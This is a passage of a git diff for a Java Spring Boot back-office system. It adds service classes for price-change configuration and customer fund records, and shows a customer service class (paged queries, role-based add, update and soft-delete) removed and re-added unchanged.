*/ + @Override + public Boolean insertByBo(TpChangePriceBo bo) { + TpChangePrice add = MapstructUtils.convert(bo, TpChangePrice.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改改价配置 + * + * @param bo 改价配置 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpChangePriceBo bo) { + TpChangePrice update = MapstructUtils.convert(bo, TpChangePrice.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpChangePrice entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除改价配置信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpClientFundServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpClientFundServiceImpl.java new file mode 100644 index 0000000..3aa2243 --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpClientFundServiceImpl.java @@ -0,0 +1,143 @@ +package org.dromara.work.service.impl; + +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.mybatis.core.page.PageQuery; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import lombok.RequiredArgsConstructor; +import org.dromara.system.service.ISysUserService; +import org.springframework.stereotype.Service; +import org.dromara.work.domain.bo.TpClientFundBo; +import org.dromara.work.domain.vo.TpClientFundVo; +import org.dromara.work.domain.TpClientFund; +import org.dromara.work.mapper.TpClientFundMapper; +import org.dromara.work.service.ITpClientFundService; + +import java.util.List; +import java.util.Map; +import java.util.Collection; + +/** + * 客户资金记录Service业务层处理 + * + * @author Maosw + * @date 2026-01-16 + */ +@RequiredArgsConstructor +@Service +public class TpClientFundServiceImpl implements ITpClientFundService { + + private final TpClientFundMapper baseMapper; + + private final ISysUserService sysUserService; + + /** + * 查询客户资金记录 + * + * @param id 主键 + * @return 客户资金记录 + */ + @Override + public TpClientFundVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询客户资金记录列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 客户资金记录分页列表 + */ + @Override + public TableDataInfo queryPageList(TpClientFundBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + // 循环查询创建人姓名 + result.getRecords().forEach(item -> { + item.setCreateByName(sysUserService.selectUserById(item.getCreateBy()).getNickName()); + }); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的客户资金记录列表 + * + * @param bo 查询条件 + * @return 客户资金记录列表 + */ + @Override + public List queryList(TpClientFundBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TpClientFundBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.orderByAsc(TpClientFund::getId); + lqw.eq(bo.getKId() != null, TpClientFund::getKId, bo.getKId()); + lqw.eq(bo.getSkId() != null, TpClientFund::getSkId, bo.getSkId()); + lqw.eq(bo.getBizType() != null, TpClientFund::getBizType, bo.getBizType()); + lqw.eq(bo.getReceiptId() != null, TpClientFund::getReceiptId, bo.getReceiptId()); + lqw.eq(bo.getOrderId() != null, TpClientFund::getOrderId, bo.getOrderId()); + lqw.eq(StringUtils.isNotBlank(bo.getOrderNo()), TpClientFund::getOrderNo, bo.getOrderNo()); + lqw.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, + TpClientFund::getCreateTime ,params.get("beginCreateTime"), params.get("endCreateTime")); + return lqw; + } + + /** + * 新增客户资金记录 + * + * @param bo 客户资金记录 + * @return 是否新增成功 + */ + @Override + public int insertByBo(TpClientFundBo bo) { + TpClientFund add = MapstructUtils.convert(bo, TpClientFund.class); +// boolean flag = baseMapper.insert(add) > 0; +// if (flag) { +// bo.setId(add.getId()); +// } + return baseMapper.insert(add); + } + + /** + * 修改客户资金记录 + * + * @param bo 客户资金记录 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpClientFundBo bo) { + TpClientFund update = MapstructUtils.convert(bo, TpClientFund.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpClientFund entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除客户资金记录信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpClientServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpClientServiceImpl.java index 5be7608..60c2754 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpClientServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpClientServiceImpl.java @@ -1,364 +1,364 @@ -package org.dromara.work.service.impl; - -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.github.yulichang.base.MPJBaseServiceImpl; -import com.github.yulichang.wrapper.MPJLambdaWrapper; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.work.domain.TpClient; -import org.dromara.work.domain.TpClientStaff; -import org.dromara.work.domain.TpOrder; -import org.dromara.work.domain.bo.TpClientBo; -import org.dromara.work.domain.vo.ClientSumVo; -import org.dromara.work.domain.vo.OrderRankingVo; -import org.dromara.work.domain.vo.TpClientVo; -import org.dromara.work.mapper.TpClientMapper; -import org.dromara.work.mapper.TpClientStaffMapper; -import org.dromara.work.mapper.TpOrderMapper; -import org.dromara.work.service.ITpClientService; -import org.springframework.stereotype.Service; - -import java.math.BigDecimal; -import java.util.*; - -/** - * 客户Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpClientServiceImpl extends MPJBaseServiceImpl implements ITpClientService { - - private final TpClientMapper baseMapper; - - private final TpClientStaffMapper staffMapper; - - private final TpOrderMapper orderMapper; - - /** - * 查询客户 - * - * @param id 主键 - * @return 客户 - */ - @Override - public TpClientVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询客户列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 客户分页列表 - */ - @Override - public TableDataInfo queryPageList(TpClientBo bo, PageQuery pageQuery) { - LoginUser loginUser = LoginHelper.getLoginUser(); - if(LoginHelper.isSuperAdmin()){ - bo.setIsDel(1); - MPJLambdaWrapper lqw = buildQueryWrapper(bo) - .selectAll(TpClient.class) - .selectAs("(select count(1) from tp_order o where o.kid = t.id and o.is_del = 1 and o.pay_state != 1)",TpClientVo::getCount) - .selectAs("(select sum(o.khpay) from tp_order o where o.kid = t.id and o.is_del = 1 and o.pay_state != 1)",TpClientVo::getAllPrice) -// .leftJoin(TpOrder.class,TpOrder::getKid,TpClient::getId) - .orderByDesc(TpClient::getId); - - IPage result = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpClientVo.class, lqw); - return TableDataInfo.build(result); - }else {//普通用户 - bo.setIsDel(1); - MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) - .selectAll(TpClientStaff.class) - .select("c.code", "c.phone", "c.sex", "c.type", "c.ywtype","c.province","c.city","c.area","c.state","c.vip","c.gt_vip","c.health") - .selectAs("(select count(1) from tp_order o where o.skid = t.id and o.is_del = 1 and o.pay_state != 1)",TpClientVo::getCount) - .selectAs("(select sum(o.khpay) from tp_order o where o.skid = t.id and o.is_del = 1 and o.pay_state != 1)",TpClientVo::getAllPrice) - .eq(loginUser.getIdentity() == 3,TpClientStaff::getSid,loginUser.getUserId()) - .leftJoin("tp_client c on c.id = t.kid") - .orderByDesc(TpClientStaff::getId); - - //分页查询 (需要启用 mybatis plus 分页插件) - IPage listPage = staffMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpClientVo.class, wrapper); - return TableDataInfo.build(listPage); - } - } - - /** - * 查询符合条件的客户列表 - * - * @param bo 查询条件 - * @return 客户列表 - */ - @Override - public List queryList(TpClientBo bo) { - bo.setIsDel(1); - MPJLambdaWrapper lqw = buildQueryWrapper(bo) - .selectAll(TpClient.class) -// .selectAs("(select count(1) from tp_order o where o.kid = t.id and o.is_del = 1 and o.pay_state != 1)",TpClientVo::getCount) -// .selectAs("(select sum(o.khpay) from tp_order o where o.kid = t.id and o.is_del = 1 and o.pay_state != 1)",TpClientVo::getAllPrice) - .orderByDesc(TpClient::getId); - return baseMapper.selectJoinList(TpClientVo.class,lqw); - } - - private MPJLambdaWrapper buildQueryWrapper(TpClientBo bo) { - Map params = bo.getParams(); - MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); - - if(bo.getMulti() != null){ - if(bo.getMulti()== 1){ -// lqw.apply("(SELECT count(1) from tp_client_staff r where r.kid = t.id) > 1"); - lqw.apply("INSTR(t.sname, ',') > 0"); - }else { - lqw.gt(TpClient::getYue, 0); - lqw.apply("(SELECT count(1) from tp_client_staff r where r.kid = t.id) > 1"); - } - } - - lqw.eq(bo.getHealth() != null, TpClient::getHealth, bo.getHealth()); - lqw.eq(bo.getUid() != null, TpClient::getUid, bo.getUid()); - lqw.eq(StringUtils.isNotBlank(bo.getCode()), TpClient::getCode, bo.getCode()); - lqw.eq(StringUtils.isNotBlank(bo.getSname()), TpClient::getSname, bo.getSname()); - lqw.like(StringUtils.isNotBlank(bo.getName()), TpClient::getName, bo.getName()); - lqw.eq(StringUtils.isNotBlank(bo.getPhone()), TpClient::getPhone, bo.getPhone()); - lqw.eq(StringUtils.isNotBlank(bo.getSex()), TpClient::getSex, bo.getSex()); - lqw.eq(bo.getType() != null, TpClient::getType, bo.getType()); - lqw.eq(bo.getYwtype() != null, TpClient::getYwtype, bo.getYwtype()); - lqw.eq(bo.getState() != null, TpClient::getState, bo.getState()); - lqw.eq(bo.getAddTime() != null, TpClient::getAddTime, bo.getAddTime()); - lqw.eq(bo.getIsDel() != null, TpClient::getIsDel, bo.getIsDel()); - lqw.eq(StringUtils.isNotBlank(bo.getAddUser()), TpClient::getAddUser, bo.getAddUser()); - lqw.eq(bo.getVip() != null, TpClient::getVip, bo.getVip()); - lqw.eq(bo.getGtVip() != null, TpClient::getGtVip, bo.getGtVip()); - lqw.eq(bo.getHealth() != null, TpClient::getHealth, bo.getHealth()); - lqw.eq(StringUtils.isNotBlank(bo.getProvince()), TpClient::getProvince, bo.getProvince()); - lqw.eq(StringUtils.isNotBlank(bo.getCity()), TpClient::getCity, bo.getCity()); - lqw.eq(StringUtils.isNotBlank(bo.getArea()), TpClient::getArea, bo.getArea()); - return lqw; - } - - private MPJLambdaWrapper buildQueryMPJWrapper(TpClientBo bo) { - Map params = bo.getParams(); - MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); - lqw.eq(bo.getUid() != null, TpClient::getUid, bo.getUid()); - lqw.eq(bo.getSid() != null, TpClientStaff::getSid, bo.getSid()); - lqw.eq(StringUtils.isNotBlank(bo.getSname()), TpClient::getSname, bo.getSname()); - lqw.eq(StringUtils.isNotBlank(bo.getCode()), TpClient::getCode, bo.getCode()); - lqw.like(StringUtils.isNotBlank(bo.getName()), TpClient::getName, bo.getName()); - lqw.eq(StringUtils.isNotBlank(bo.getPhone()), TpClient::getPhone, bo.getPhone()); - lqw.eq(StringUtils.isNotBlank(bo.getSex()), TpClient::getSex, bo.getSex()); - lqw.eq(bo.getType() != null, TpClient::getType, bo.getType()); - lqw.eq(bo.getYwtype() != null, TpClient::getYwtype, bo.getYwtype()); - lqw.eq(bo.getState() != null, TpClient::getState, bo.getState()); - lqw.eq(bo.getAddTime() != null, TpClient::getAddTime, bo.getAddTime()); - lqw.eq(bo.getIsDel() != null, TpClientStaff::getIsDel, bo.getIsDel()); - lqw.eq(StringUtils.isNotBlank(bo.getAddUser()), TpClient::getAddUser, bo.getAddUser()); - lqw.eq(bo.getVip() != null, TpClient::getVip, bo.getVip()); - lqw.eq(bo.getGtVip() != null, TpClient::getGtVip, bo.getGtVip()); - lqw.eq(bo.getHealth() != null, "c.health", bo.getHealth()); - lqw.eq(StringUtils.isNotBlank(bo.getProvince()), TpClient::getProvince, bo.getProvince()); - lqw.eq(StringUtils.isNotBlank(bo.getCity()), TpClient::getCity, bo.getCity()); - lqw.eq(StringUtils.isNotBlank(bo.getArea()), TpClient::getArea, bo.getArea()); - return lqw; - } - - /** - * 新增客户 - * - * @param bo 客户 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpClientBo bo) { - bo.setAddTime(new Date()); - LoginUser loginUser = LoginHelper.getLoginUser(); - boolean isFlag = false; - while (!isFlag){ - String code = "KH" + (int)(Math.random()*80000)+1; - boolean exist = baseMapper.exists(new LambdaQueryWrapper().eq(TpClient::getCode, code)); - if(!exist){ - bo.setCode(code); - isFlag = true; - } - } - TpClient client = baseMapper.selectOne(new LambdaQueryWrapper().eq(TpClient::getPhone,bo.getPhone())); - - if(ObjectUtil.isNotNull(client)){ - //判断客服是否已经绑定了客户 - boolean exist = staffMapper.exists(new LambdaQueryWrapper().eq(TpClientStaff::getSid,loginUser.getUserId()).eq(TpClientStaff::getKid,client.getId())); - if(exist){ - throw new ServiceException("此客户您已添加,请勿重复添加"); - } - } - - if(LoginHelper.isSuperAdmin()){ - if(ObjectUtil.isNotNull(client)){ - throw new ServiceException("手机号码已存在"); - } - TpClient add = MapstructUtils.convert(bo, TpClient.class); - add.setAddUser(String.valueOf(loginUser.getUserId())); - add.setSname(loginUser.getNickname()); - return baseMapper.insert(add) > 0; - }else{//客服 - if(loginUser.getIdentity() == 2){ - throw new ServiceException("您无权限添加客户信息"); - } else if(loginUser.getIdentity() == 3){ - TpClientStaff staff = new TpClientStaff(); - if(Objects.isNull(client)){ - TpClient add = MapstructUtils.convert(bo, TpClient.class); - add.setAddUser(String.valueOf(loginUser.getUserId())); - add.setSname(loginUser.getNickname()); - boolean flag = baseMapper.insert(add) > 0; - if (!flag) { - throw new ServiceException("添加客户信息失败"); - } - staff.setKid(add.getId()); - }else { - client.setAddUser(client.getAddUser() + "," + loginUser.getUserId()); - client.setSname(client.getSname() + ","+ loginUser.getNickname()); - boolean flag = baseMapper.updateById(client) > 0; - if (!flag) { - throw new ServiceException("添加客户信息失败"); - } - staff.setKid(client.getId()); - } - staff.setName(bo.getName()); - staff.setSid(loginUser.getUserId()); - staff.setSname(loginUser.getNickname()); - staff.setRemark(bo.getRemark()); - staff.setAddTime(new Date()); - return staffMapper.insert(staff) >0; - } - } - return false; - } - - /** - * 修改客户 - * - * @param bo 客户 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpClientBo bo) { - LoginUser loginUser = LoginHelper.getLoginUser(); - if(LoginHelper.isSuperAdmin()){ - //管理员需要传TpClient的ID - TpClientVo clientVo = baseMapper.selectVoById(bo.getId()); - if(StringUtils.isNotEmpty(bo.getPhone()) && !Objects.equals(bo.getPhone(), clientVo.getPhone())){ - throw new ServiceException("客户手机号码不允许修改"); - } - if(StringUtils.isNotEmpty(bo.getCode()) && !Objects.equals(bo.getCode(), clientVo.getCode())){ - throw new ServiceException("客户编号不允许修改"); - } - }else { - //普通客户ids需要传TpClientStaff的ID - TpClientStaff staff = staffMapper.selectById(bo.getId()); - TpClientVo clientVo = baseMapper.selectVoById(staff.getKid()); - if(StringUtils.isNotEmpty(bo.getPhone()) && !Objects.equals(bo.getPhone(), clientVo.getPhone())){ - throw new ServiceException("客户手机号码不允许修改"); - } - if(StringUtils.isNotEmpty(bo.getCode()) && !Objects.equals(bo.getCode(), clientVo.getCode())){ - throw new ServiceException("客户编号不允许修改"); - } - staff.setName(bo.getName()); - staff.setRemark(bo.getRemark()); - staffMapper.updateById(staff); - } - TpClient update = MapstructUtils.convert(bo, TpClient.class); - return baseMapper.updateById(update) > 0; - } - - - /** - * 校验并批量删除客户信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - LoginUser loginUser = LoginHelper.getLoginUser(); - if(LoginHelper.isSuperAdmin()){ - //管理员ids需要传TpClient的ID - List list = baseMapper.selectByIds(ids); - for(TpClient client : list){ - client.setIsDel(2); - if(client.getYue().compareTo(BigDecimal.ZERO) > 0) { - throw new ServiceException("客户:" + client.getName() + "余额大于0,不可删除"); - } - } - return baseMapper.updateBatchById(list); - }else{ - //普通客户ids需要传TpClientStaff的ID - if(loginUser.getIdentity() == 2){ - throw new ServiceException("您无权限删除客户信息"); - } else if (loginUser.getIdentity() == 3) { - List list = staffMapper.selectByIds(ids); - for(TpClientStaff clientStaff : list){ - clientStaff.setIsDel(2); - if(clientStaff.getYue().compareTo(BigDecimal.ZERO) > 0) { - throw new ServiceException("客户:" + clientStaff.getName() + "余额大于0,不可删除"); - } - } - return staffMapper.updateBatchById(list); - } - } - return false; - } - - /** - * 查询客户下单金额统计列表 - * - * @param bo - * @param pageQuery - * @return - */ - @Override - public TableDataInfo queryPageListChart(TpClientBo bo, PageQuery pageQuery) { - Map params = bo.getParams(); - MPJLambdaWrapper wrapper = new MPJLambdaWrapper(); - if(LoginHelper.isSuperAdmin()){ - wrapper.selectAs(TpOrder::getKid, ClientSumVo::getId) - .selectSum(TpOrder::getKhpay,ClientSumVo::getAmount); - wrapper.between(params.get("beginTime") != null && params.get("endTime") != null, - TpOrder::getAddTime ,params.get("beginTime"), params.get("endTime")) - .eq(TpOrder::getIsDel,1) - .in(bo.getIds() != null,TpOrder::getKid,bo.getIds()) - .groupBy(TpOrder::getKid); - - }else{ - wrapper.selectAs(TpOrder::getSkid, ClientSumVo::getId) - .selectSum(TpOrder::getKhpay,ClientSumVo::getAmount); - wrapper.between(params.get("beginTime") != null && params.get("endTime") != null, - TpOrder::getAddTime ,params.get("beginTime"), params.get("endTime")) - .eq(TpOrder::getIsDel,1) - .in(bo.getIds() != null,TpOrder::getSkid,bo.getIds()) - .groupBy(TpOrder::getSkid); - } - IPage listPage = orderMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), ClientSumVo.class, wrapper); - return TableDataInfo.build(listPage); - } - - /** - * 获取全部客户 - * - * @return - */ - @Override - public List queryAllList() { - return baseMapper.selectList(new LambdaQueryWrapper().eq(TpClient::getIsDel, 1)); - } -} +package org.dromara.work.service.impl; + +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.github.yulichang.base.MPJBaseServiceImpl; +import com.github.yulichang.wrapper.MPJLambdaWrapper; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.work.domain.TpClient; +import org.dromara.work.domain.TpClientStaff; +import org.dromara.work.domain.TpOrder; +import org.dromara.work.domain.bo.TpClientBo; +import org.dromara.work.domain.vo.ClientSumVo; +import org.dromara.work.domain.vo.OrderRankingVo; +import org.dromara.work.domain.vo.TpClientVo; +import org.dromara.work.mapper.TpClientMapper; +import org.dromara.work.mapper.TpClientStaffMapper; +import org.dromara.work.mapper.TpOrderMapper; +import org.dromara.work.service.ITpClientService; +import org.springframework.stereotype.Service; + +import java.math.BigDecimal; +import java.util.*; + +/** + * 客户Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpClientServiceImpl extends MPJBaseServiceImpl implements ITpClientService { + + private final TpClientMapper baseMapper; + + private final TpClientStaffMapper staffMapper; + + private final TpOrderMapper orderMapper; + + /** + * 查询客户 + * + * @param id 主键 + * @return 客户 + */ + @Override + public TpClientVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询客户列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 客户分页列表 + */ + @Override + public TableDataInfo queryPageList(TpClientBo bo, PageQuery pageQuery) { + LoginUser loginUser = LoginHelper.getLoginUser(); + if(LoginHelper.isSuperAdmin()){ + bo.setIsDel(1); + MPJLambdaWrapper lqw = buildQueryWrapper(bo) + .selectAll(TpClient.class) + .selectAs("(select count(1) from tp_order o where o.kid = t.id and o.is_del = 1 and o.pay_state != 1)",TpClientVo::getCount) + .selectAs("(select sum(o.khpay) from tp_order o where o.kid = t.id and o.is_del = 1 and o.pay_state != 1)",TpClientVo::getAllPrice) +// .leftJoin(TpOrder.class,TpOrder::getKid,TpClient::getId) + .orderByDesc(TpClient::getId); + + IPage result = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpClientVo.class, lqw); + return TableDataInfo.build(result); + }else {//普通用户 + bo.setIsDel(1); + MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) + .selectAll(TpClientStaff.class) + .select("c.code", "c.phone", "c.sex", "c.type", "c.ywtype","c.province","c.city","c.area","c.state","c.vip","c.gt_vip","c.health") + .selectAs("(select count(1) from tp_order o where o.skid = t.id and o.is_del = 1 and o.pay_state != 1)",TpClientVo::getCount) + .selectAs("(select sum(o.khpay) from tp_order o where o.skid = t.id and o.is_del = 1 and o.pay_state != 1)",TpClientVo::getAllPrice) + .eq(loginUser.getIdentity() == 3,TpClientStaff::getSid,loginUser.getUserId()) + .leftJoin("tp_client c on c.id = t.kid") + .orderByDesc(TpClientStaff::getId); + + //分页查询 (需要启用 mybatis plus 分页插件) + IPage listPage = staffMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpClientVo.class, wrapper); + return TableDataInfo.build(listPage); + } + } + + /** + * 查询符合条件的客户列表 + * + * @param bo 查询条件 + * @return 客户列表 + */ + @Override + public List queryList(TpClientBo bo) { + bo.setIsDel(1); + MPJLambdaWrapper lqw = buildQueryWrapper(bo) + .selectAll(TpClient.class) +// .selectAs("(select count(1) from tp_order o where o.kid = t.id and o.is_del = 1 and o.pay_state != 1)",TpClientVo::getCount) +// .selectAs("(select sum(o.khpay) from tp_order o where o.kid = t.id and o.is_del = 1 and o.pay_state != 1)",TpClientVo::getAllPrice) + .orderByDesc(TpClient::getId); + return baseMapper.selectJoinList(TpClientVo.class,lqw); + } + + private MPJLambdaWrapper buildQueryWrapper(TpClientBo bo) { + Map params = bo.getParams(); + MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); + + if(bo.getMulti() != null){ + if(bo.getMulti()== 1){ +// lqw.apply("(SELECT count(1) from tp_client_staff r where r.kid = t.id) > 1"); + lqw.apply("INSTR(t.sname, ',') > 0"); + }else { + lqw.gt(TpClient::getYue, 0); + lqw.apply("(SELECT count(1) from tp_client_staff r where r.kid = t.id) > 1"); + } + } + + lqw.eq(bo.getHealth() != null, TpClient::getHealth, bo.getHealth()); + lqw.eq(bo.getUid() != null, TpClient::getUid, bo.getUid()); + lqw.eq(StringUtils.isNotBlank(bo.getCode()), TpClient::getCode, bo.getCode()); + lqw.eq(StringUtils.isNotBlank(bo.getSname()), TpClient::getSname, bo.getSname()); + lqw.like(StringUtils.isNotBlank(bo.getName()), TpClient::getName, bo.getName()); + lqw.eq(StringUtils.isNotBlank(bo.getPhone()), TpClient::getPhone, bo.getPhone()); + lqw.eq(StringUtils.isNotBlank(bo.getSex()), TpClient::getSex, bo.getSex()); + lqw.eq(bo.getType() != null, TpClient::getType, bo.getType()); + lqw.eq(bo.getYwtype() != null, TpClient::getYwtype, bo.getYwtype()); + lqw.eq(bo.getState() != null, TpClient::getState, bo.getState()); + lqw.eq(bo.getAddTime() != null, TpClient::getAddTime, bo.getAddTime()); + lqw.eq(bo.getIsDel() != null, TpClient::getIsDel, bo.getIsDel()); + lqw.eq(StringUtils.isNotBlank(bo.getAddUser()), TpClient::getAddUser, bo.getAddUser()); + lqw.eq(bo.getVip() != null, TpClient::getVip, bo.getVip()); + lqw.eq(bo.getGtVip() != null, TpClient::getGtVip, bo.getGtVip()); + lqw.eq(bo.getHealth() != null, TpClient::getHealth, bo.getHealth()); + lqw.eq(StringUtils.isNotBlank(bo.getProvince()), TpClient::getProvince, bo.getProvince()); + lqw.eq(StringUtils.isNotBlank(bo.getCity()), TpClient::getCity, bo.getCity()); + lqw.eq(StringUtils.isNotBlank(bo.getArea()), TpClient::getArea, bo.getArea()); + return lqw; + } + + private MPJLambdaWrapper buildQueryMPJWrapper(TpClientBo bo) { + Map params = bo.getParams(); + MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); + lqw.eq(bo.getUid() != null, TpClient::getUid, bo.getUid()); + lqw.eq(bo.getSid() != null, TpClientStaff::getSid, bo.getSid()); + lqw.eq(StringUtils.isNotBlank(bo.getSname()), TpClient::getSname, bo.getSname()); + lqw.eq(StringUtils.isNotBlank(bo.getCode()), TpClient::getCode, bo.getCode()); + lqw.like(StringUtils.isNotBlank(bo.getName()), TpClient::getName, bo.getName()); + lqw.eq(StringUtils.isNotBlank(bo.getPhone()), TpClient::getPhone, bo.getPhone()); + lqw.eq(StringUtils.isNotBlank(bo.getSex()), TpClient::getSex, bo.getSex()); + lqw.eq(bo.getType() != null, TpClient::getType, bo.getType()); + lqw.eq(bo.getYwtype() != null, TpClient::getYwtype, bo.getYwtype()); + lqw.eq(bo.getState() != null, TpClient::getState, bo.getState()); + lqw.eq(bo.getAddTime() != null, TpClient::getAddTime, bo.getAddTime()); + lqw.eq(bo.getIsDel() != null, TpClientStaff::getIsDel, bo.getIsDel()); + lqw.eq(StringUtils.isNotBlank(bo.getAddUser()), TpClient::getAddUser, bo.getAddUser()); + lqw.eq(bo.getVip() != null, TpClient::getVip, bo.getVip()); + lqw.eq(bo.getGtVip() != null, TpClient::getGtVip, bo.getGtVip()); + lqw.eq(bo.getHealth() != null, "c.health", bo.getHealth()); + lqw.eq(StringUtils.isNotBlank(bo.getProvince()), TpClient::getProvince, bo.getProvince()); + lqw.eq(StringUtils.isNotBlank(bo.getCity()), TpClient::getCity, bo.getCity()); + lqw.eq(StringUtils.isNotBlank(bo.getArea()), TpClient::getArea, bo.getArea()); + return lqw; + } + + /** + * 新增客户 + * + * @param bo 客户 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpClientBo bo) { + bo.setAddTime(new Date()); + LoginUser loginUser = LoginHelper.getLoginUser(); + boolean isFlag = false; + while (!isFlag){ + String code = "KH" + (int)(Math.random()*80000)+1; + boolean exist = baseMapper.exists(new LambdaQueryWrapper().eq(TpClient::getCode, code)); + if(!exist){ + bo.setCode(code); + isFlag = true; + } + } + TpClient client = baseMapper.selectOne(new LambdaQueryWrapper().eq(TpClient::getPhone,bo.getPhone())); + + if(ObjectUtil.isNotNull(client)){ + //判断客服是否已经绑定了客户 + boolean exist = staffMapper.exists(new LambdaQueryWrapper().eq(TpClientStaff::getSid,loginUser.getUserId()).eq(TpClientStaff::getKid,client.getId())); + if(exist){ + throw new ServiceException("此客户您已添加,请勿重复添加"); + } + } + + if(LoginHelper.isSuperAdmin()){ + if(ObjectUtil.isNotNull(client)){ + throw new ServiceException("手机号码已存在"); + } + TpClient add = MapstructUtils.convert(bo, TpClient.class); + add.setAddUser(String.valueOf(loginUser.getUserId())); + add.setSname(loginUser.getNickname()); + return baseMapper.insert(add) > 0; + }else{//客服 + if(loginUser.getIdentity() == 2){ + throw new ServiceException("您无权限添加客户信息"); + } else if(loginUser.getIdentity() == 3){ + TpClientStaff staff = new TpClientStaff(); + if(Objects.isNull(client)){ + TpClient add = MapstructUtils.convert(bo, TpClient.class); + add.setAddUser(String.valueOf(loginUser.getUserId())); + add.setSname(loginUser.getNickname()); + boolean flag = baseMapper.insert(add) > 0; + if (!flag) { + throw new ServiceException("添加客户信息失败"); + } + staff.setKid(add.getId()); + }else { + client.setAddUser(client.getAddUser() + "," + loginUser.getUserId()); + client.setSname(client.getSname() + ","+ loginUser.getNickname()); + boolean flag = baseMapper.updateById(client) > 0; + if (!flag) { + throw new ServiceException("添加客户信息失败"); + } + staff.setKid(client.getId()); + } + staff.setName(bo.getName()); + 